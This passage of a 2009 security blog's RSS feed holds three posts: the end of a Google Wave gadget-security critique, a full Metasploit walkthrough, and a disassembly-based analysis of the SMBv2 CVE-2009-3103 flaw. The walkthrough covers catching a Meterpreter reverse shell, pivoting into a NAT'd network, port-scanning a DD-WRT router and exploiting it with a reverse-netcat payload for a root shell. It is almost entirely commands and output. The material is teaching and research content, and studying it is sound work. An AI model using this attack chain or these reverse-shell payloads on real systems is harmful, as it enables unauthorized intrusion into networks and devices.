<p>All of these demonstrations about security and Google Wave point to four general weaknesses in Wave’s current structure:</p>
<ol>
<li>Allowing scripts and iframes in gadgets with no limits apart from sandboxing</li>
<li>Lack of control over what content or users can be added to a wave</li>
<li>No simple mechanism for verifying gadget sources or features</li>
<li>Automatically loading gadgets when a wave is viewed</li>
</ol>
<p>Any one of these issues would be cause for concern, but taken together they present such alarming possibilities as a user getting their computer hacked simply by viewing a wave. Whatever may be said about Google Wave’s usefulness, I have to conclude that the product is not ready for prime time until these types of problems are addressed.</p>
<p>from http://theharmonyguy.com</p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/586/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/586/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/586/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=586&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/11/01/google-wave-as-a-tool-for-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>

		<media:content url="http://theharmonyguy.com/wp-content/uploads/2009/10/wavebeef-380x400.jpg" medium="image">
			<media:title type="html">wavebeef</media:title>
		</media:content>
	</item>
		<item>
		<title>Using Metasploit DD-WRT Exploit Module Thru Pivot</title>
		<link>http://longjidin.wordpress.com/2009/10/11/using-metasploit-dd-wrt-exploit-module-thru-pivot/</link>
		<comments>http://longjidin.wordpress.com/2009/10/11/using-metasploit-dd-wrt-exploit-module-thru-pivot/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 10:29:20 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Exploit Module Thru Pivot]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=580</guid>
		<description><![CDATA[Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the  HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=580&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the  HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit is of low impact by some since the distribution only listens for HTTP connections thru the internal interface. In this example of using the exploit the exploit will be used thru a pivot obtained thru a client side exploit from which we will pivot, do a discovery, finger print the device and exploit it.  In the following example we will start by showing our IP of the attacker machine, receiving the Meterpreter shell and showing the target box IP thru a cmd shell:</p>
<pre style="border:1px solid #cecece;overflow:auto;background-color:#fbfbfb;min-height:40px;width:650px;padding:5px;">
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf &gt; ifconfig eth0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] <span style="color:#00008b;">exec</span>: ifconfig eth0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">eth0      Link encap:Ethernet  HWaddr 00:0e:7f:f9:12:62</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          inet addr:192.168.1.158  Bcast:192.168.1.255  Mask:255.255.255.0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          inet6 addr: fe80::20e:7fff:fef9:1262/64 Scope:Link</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          RX packets:55461 errors:0 dropped:0 overruns:0 frame:0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          TX packets:23899 errors:0 dropped:0 overruns:0 carrier:0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          collisions:0 txqueuelen:1000</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          RX bytes:58889891 (58.8 MB)  TX bytes:3107063 (3.1 MB)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">          <a style="color:#ff0000;" href="http://www.ruby-doc.org/docs/rdoc/1.9/classes/Interrupt.html">Interrupt</a>:20</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf &gt; <strong>use exploit/multi/handler</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>set PAYLOAD windows/meterpreter/reverse_tcp</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">PAYLOAD =&gt; windows/meterpreter/reverse_tcp</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>set LHOST 192.168.1.158</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">LHOST =&gt; 192.168.1.158</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>set ExitOnSession <span style="color:#0000ff;">false</span></strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">ExitOnSession =&gt; <span style="color:#0000ff;">false</span></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>exploit -j -z</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Exploit running as background job.</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt;</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Handler <span style="color:#00008b;">binding</span> to LHOST 0.0.0.0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Started reverse handler</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Starting the payload handler...</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Transmitting intermediate stager <span style="color:#0000ff;">for</span> over-sized stage...(216 bytes)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Sending stage (718336 bytes)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Meterpreter session 1 opened (192.168.1.158:4444 -&gt; 192.168.1.100:1085)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; session -i 1</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[-] Unknown command: session.</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; sessions -i 1</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Starting interaction with 1...</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">meterpreter &gt; <strong>sysinfo </strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Computer: AWINXP01</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">OS      : Windows XP (Build 2600, Service Pack 2).</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">meterpreter &gt; <strong>execute -H -f -c -i -f cmd.exe</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Process 1708 created.</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Channel 1 created.</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Microsoft Windows XP [Version 5.1.2600]</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">(C) Copyright 1985-2001 Microsoft Corp.</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">C:\Documents <span style="color:#0000ff;">and</span> Settings\administrator\Desktop&gt;ipconfig</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">ipconfig</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Windows IP Configuration</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Ethernet adapter Local Area Connection:</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">        Connection-specific DNS Suffix  . :</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">        IP Address. . . . . . . . . . . . : 192.168.111.200</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">        Subnet Mask . . . . . . . . . . . : 255.255.255.0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">        Default Gateway . . . . . . . . . : 192.168.111.2</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">C:\Documents <span style="color:#0000ff;">and</span> Settings\administrator\Desktop&gt;<span style="color:#00008b;">exit</span></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">meterpreter &gt;</pre>
</pre>
<p>Know we proceed to background this session and set a route thru the session to the network behind the NAT router from the information we gathered:</p>
<pre style="border:1px solid #cecece;overflow:auto;background-color:#fbfbfb;min-height:40px;width:650px;padding:5px;">
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">meterpreter &gt;</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Background session 1? [y/N]</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt;</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>route add 192.168.111.0 255.255.255.0 1</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>route <span style="color:#00008b;">print</span></strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Active Routing Table</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">====================</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">   Subnet             Netmask            Gateway</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">   ------             -------            -------</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">   192.168.111.0      255.255.255.0      Session 1</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt;</pre>
</pre>
<p>Now that the route is created we can use the TCP Port Scanner Auxiliary Module to do a TCP scan of the default gateway of the target network:</p>
<pre style="border:1px solid #cecece;overflow:auto;background-color:#fbfbfb;min-height:40px;width:650px;padding:5px;">
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>use auxiliary/scanner/portscan/tcp</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf auxiliary(tcp) &gt; <strong>info</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">       Name: TCP Port Scanner</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">    Version: 6823</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">    License: Metasploit Framework License (BSD)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Provided by:</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  hdm &lt;hdm@metasploit.com&gt;</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  kris katterjohn &lt;katterjohn@gmail.com&gt;</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Basic options:</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  Name     Current Setting  Required  Description</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  ----     ---------------  --------  -----------</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  PORTS    1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  RHOSTS                    yes       The target address range <span style="color:#0000ff;">or</span> CIDR identifier</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  THREADS  1                yes       The number of concurrent threads</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  TIMEOUT  1000             yes       The socket connect timeout <span style="color:#0000ff;">in</span> milliseconds</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Description:</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">  Enumerate <span style="color:#00008b;">open</span> TCP services</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf auxiliary(tcp) &gt; set PORTS 22,23,80,443</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">PORTS =&gt; 22,23,80,443</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf auxiliary(tcp) &gt; set RHOSTS 192.168.111.2</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">RHOSTS =&gt; 192.168.111.2</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf auxiliary(tcp) &gt; run</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*]  TCP OPEN 192.168.111.2:22</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*]  TCP OPEN 192.168.111.2:23</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*]  TCP OPEN 192.168.111.2:80</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Auxiliary <span style="color:#0000ff;">module</span> execution completed</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt;</pre>
</pre>
<p>Since we are going thru a Meterpreter TCP pivot is important to remember to keep the THREAD variable to 1 since Meterpreter is not multithreaded and limit the number of ports to those you want to target so as to not expend a large amount of time scanning. Now that the ports that are open we proceed to finger print one of the services by getting the banner using the <strong><em>connect</em></strong> command in Metasploit:</p>
<pre style="border:1px solid #cecece;overflow:auto;background-color:#fbfbfb;min-height:40px;width:650px;padding:5px;">
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>connect -c 1 192.168.111.2 23</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Connected to 192.168.111.2:23</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">DD-WRT v24 std (c) 2007 NewMedia-NET GmbH</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Release: 01/26/07 (SVN revision: 5660M)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">�</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">DD-WRTx86CI login: ^Cmsf exploit(handler) &gt;</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt;</pre>
</pre>
<p>As we can see the Telnet login banner identifies the target machine as a DD-WRT box. We know proceed to load the exploit module and set a reverse netcat payload and set the other appropriate variables. Onece we have ran the exploit and a session is created we proceed to run the Linux <em><strong>uname</strong></em> command to check the version of the device and to also check the shell is working:</p>
<pre style="border:1px solid #cecece;overflow:auto;background-color:#fbfbfb;min-height:40px;width:650px;padding:5px;">
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(handler) &gt; <strong>use exploit/linux/http/ddwrt_cgibin_exec</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(ddwrt_cgibin_exec) &gt; <strong>set PAYLOAD cmd/unix/reverse_netcat</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">PAYLOAD =&gt; cmd/unix/reverse_netcat</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(ddwrt_cgibin_exec) &gt; <strong>set LPORT 2222</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">LPORT =&gt; 2222</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(ddwrt_cgibin_exec) &gt; <strong>set RHOST 192.168.111.2</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">RHOST =&gt; 192.168.111.2</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(ddwrt_cgibin_exec) &gt; <strong>set LHOST 192.168.1.158</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">LHOST =&gt; 192.168.1.158</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">msf exploit(ddwrt_cgibin_exec) &gt; <strong>exploit</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Handler <span style="color:#00008b;">binding</span> to LHOST 0.0.0.0</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Started reverse handler</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Sending GET request with encoded command line...</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">[*] Command shell session 2 opened (192.168.1.158:2222 -&gt; 192.168.1.100:4531)</pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;"><strong>uname -a</strong></pre>
<pre style="background-color:#fbfbfb;width:100%;font-family:consolas,'Courier New',courier,monospace;font-size:12px;margin:0;">Linux DD-WRTx86CI 2.6.19.2dd-wrt <span style="color:#008000;">#45 Fri Jan 26 06:28:01 CET 2007 i686 unknown</span></pre>
</pre>
<p>One advantage is that since the shell is running thru a Meterpreter session all traffic outside of the target network to the attackers box is encrypted using SSL.</p>
<p>For more information on this vulnerability please check the following links:</p>
<p><a href="http://www.securityfocus.com/bid/35742">http://www.securityfocus.com/bid/35742</a><br />
<a title="http://www.milw0rm.com/exploits/9209" href="http://www.milw0rm.com/exploits/9209">http://www.milw0rm.com/exploits/9209</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/longjidin.wordpress.com/580/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/longjidin.wordpress.com/580/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/longjidin.wordpress.com/580/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/longjidin.wordpress.com/580/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/longjidin.wordpress.com/580/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/longjidin.wordpress.com/580/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/longjidin.wordpress.com/580/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/longjidin.wordpress.com/580/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/longjidin.wordpress.com/580/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/longjidin.wordpress.com/580/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=580&subd=longjidin&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://longjidin.wordpress.com/2009/10/11/using-metasploit-dd-wrt-exploit-module-thru-pivot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/074f62b210fa0b2454cb966ab717e84e?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">longjidin</media:title>
		</media:content>
	</item>
		<item>
		<title>Static Binary Analysis of Recent SMBv2 Vulnerability</title>
		<link>http://longjidin.wordpress.com/2009/10/09/static-binary-analysis-of-recent-smbv2-vulnerability/</link>
		<comments>http://longjidin.wordpress.com/2009/10/09/static-binary-analysis-of-recent-smbv2-vulnerability/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 01:52:40 +0000</pubDate>
		<dc:creator>longjidin</dc:creator>
				<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SMBv2 Vulneralbility]]></category>

		<guid isPermaLink="false">http://longjidin.wordpress.com/?p=574</guid>
		<description><![CDATA[The recent SMBv2 vulnerability (CVE-2009-3103)  in Microsoft Windows has gotten a lot of attention in the past few weeks.    We decided that given the publicity and nature of the vulnerability, it would be interesting to post a threat analysis.   With the release of Stephen Fewer&#8217;s Metasploit module to exploit [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=longjidin.wordpress.com&blog=5595616&post=574&subd=longjidin&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div id="content" class="dynacloud">The recent <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103">SMBv2 vulnerability (CVE-2009-3103)  in Microsoft Windows</a> has gotten a lot of attention in the past few weeks.    We decided that given the publicity and nature of the vulnerability, it would be interesting to post a threat analysis.   With the release of <a href="http://harmonysecurity.com/">Stephen Fewer&#8217;s</a> <a href="http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb">Metasploit module</a> to exploit this vulnerability, technical details of the vulnerability are now publicly available.Our analysis was limited to static binary analysis of srv2.sys and srvnet.sys.</p>
<p>The crash occurs within Smb2ValidateProviderCallback(PVOID DestinationBuffer):</p>
<pre>.text:00017745</pre>
<pre>.text:00017745 loc_17745:</pre>
<pre>.text:00017745 movzx   eax, word ptr [esi+0Ch]</pre>
<pre>.text:00017749 mov     eax, _ValidateRoutines[eax*4]</pre>
<pre>.text:00017750 test    eax, eax</pre>
<pre>.text:00017752 jnz     short loc_1775B</pre>
<p>This code is accessing an array of function pointers using a user-supplied index.  This function pointer is then called here:</p>
<pre>.text:0001775B</pre>
<pre>.text:0001775B loc_1775B:</pre>
<pre>.text:0001775B push    ebx</pre>
<pre>.text:0001775C call    eax ; Smb2ValidateNegotiate(x) ; Smb2ValidateNegotiate</pre>
<p>The table consists of 19 function pointers, which seem to validate requests prior to actually executing them.</p>
<pre>.data:0002D270 _ValidateRoutines dd offset _Smb2ValidateNegotiate@4</pre>
<pre>.data:0002D270                                         ; DATA XREF: Smb2ValidateProviderCallback(x)+4EA r</pre>
<pre>.data:0002D270                                         ; Smb2ValidateNegotiate(x)</pre>
<pre>.data:0002D274                 dd offset _Smb2ValidateSessionSetup@4 ; Smb2ValidateSessionSetup(x)</pre>
<pre>.data:0002D278                 dd offset _Smb2ValidateLogoff@4 ; Smb2ValidateLogoff(x)</pre>
<pre>.data:0002D27C                 dd offset _Smb2ValidateTreeConnect@4 ; Smb2ValidateTreeConnect(x)</pre>
<pre>.data:0002D280                 dd offset _Smb2ValidateTreeDisconnect@4 ; Smb2ValidateTreeDisconnect(x)</pre>
<pre>.data:0002D284                 dd offset _Smb2ValidateCreate@4 ; Smb2ValidateCreate(x)</pre>
<pre>.data:0002D288                 dd offset _Smb2ValidateClose@4 ; Smb2ValidateClose(x)</pre>
<pre>.data:0002D28C                 dd offset _Smb2ValidateFlush@4 ; Smb2ValidateFlush(x)</pre>
<pre>.data:0002D290                 dd offset _Smb2ValidateRead@4 ; Smb2ValidateRead(x)</pre>
<pre>.data:0002D294                 dd offset _Smb2ValidateWrite@4 ; Smb2ValidateWrite(x)</pre>
<pre>.data:0002D298                 dd offset _Smb2ValidateLock@4 ; Smb2ValidateLock(x)</pre>
<pre>.data:0002D29C                 dd offset _Smb2ValidateIoctl@4 ; Smb2ValidateIoctl(x)</pre>
